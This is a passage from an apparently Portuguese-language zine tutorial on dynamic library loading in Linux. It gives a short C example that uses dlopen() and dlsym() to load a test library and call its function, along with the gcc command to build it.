no contexto do programa. dlsym() retorna o endereço em que um determinado símbolo esta car- regado na memória. dlclose() decrementa as referências ao handle especificado. Se a contagem chegar a zero e nenhuma outra lib utilizar símbolos exportados nesta lib, então ela será descarregada da memória. Para exemplificar, vamos car- regar nossa libteste dinamicamente. -----------------------dinamiclib.c---------------------------- <++> sharedlib/dinamiclib.c #include #include // <----- necessario para carregar dinamicamente a libteste #include int main(int argc, char **argv) { int i; void *module; const char *error; /* Descrevemos uma variavel que guarde o endereco de uma funcao que retorna void e recebe um char * como parametro */ void (*say)(char *); if ( argc == 1 ) { fprintf(stderr, "Que tal passar um parametro hein ??\n"); exit(0); } /* CARREGAMOS A LIBTESTE AGORA */ module = dlopen("libteste.so", RTLD_LAZY); if ( ! module ) { fprintf(stderr,"Erro (%s) ao carregar libteste.so\n",dlerror()); exit(1); } /* OK, neste ponto a lib foi carregada, vamos ober o endereco da rotina say() desta lib*/ say = dlsym(module, "say"); if ( (error = dlerror()) ) { fprintf(stderr, "Erro (%s) ao carregar rotina say\n", error); exit(1); } for (argc-- ; argc > 0; argc-- ) { (*say)(argv[argc]); // chamada a rotina say() da libteste } return 0; } <--> sharedlib/dinamiclib.c --------------------------------------------------------------- Para compilar temos que linkar nosso programa com a libdl: #gcc -ldl dinamiclib.c -o dinamiclib A saída é idêntica a saída do programa usando shared lib. --=[ O que está por vir Senhores, esta introdução é suficiente para iniciar o estudo sobre esse assunto, o ORÁCULO (google) tem muita informação sobre este tema, além é claro dos manpages. Quaisquer dúvidas, sugestões , correções ou comentários são bem vindos e podem ser encaminhados pro meu e-mail ou por msn/icq/sinal de fumaça/telepatia /telefone ou pombo correio. Aproveito para divulgar aqui nesta zine um projeto que desenvolvo que se iniciou com o estudo de libs em linux. Espero estar escrevendo em breve sobre o novo protótipo do projeto que possibilita que qualquer linguagem de programação interpretada como php, perl ou asp, por exemplo, utilize QUALQUER lib sem a ne- cessidade de plugins ou modificações no interpretador da linguagem. A nossa libteste poderia ser chamada em um script php ... que tal ? nEuRoMaNcEr mail: marciomanbr[arroba]yahoo.com.br msn: marciovmf[arroba]hotmail.com icq: 86026760 _EOF_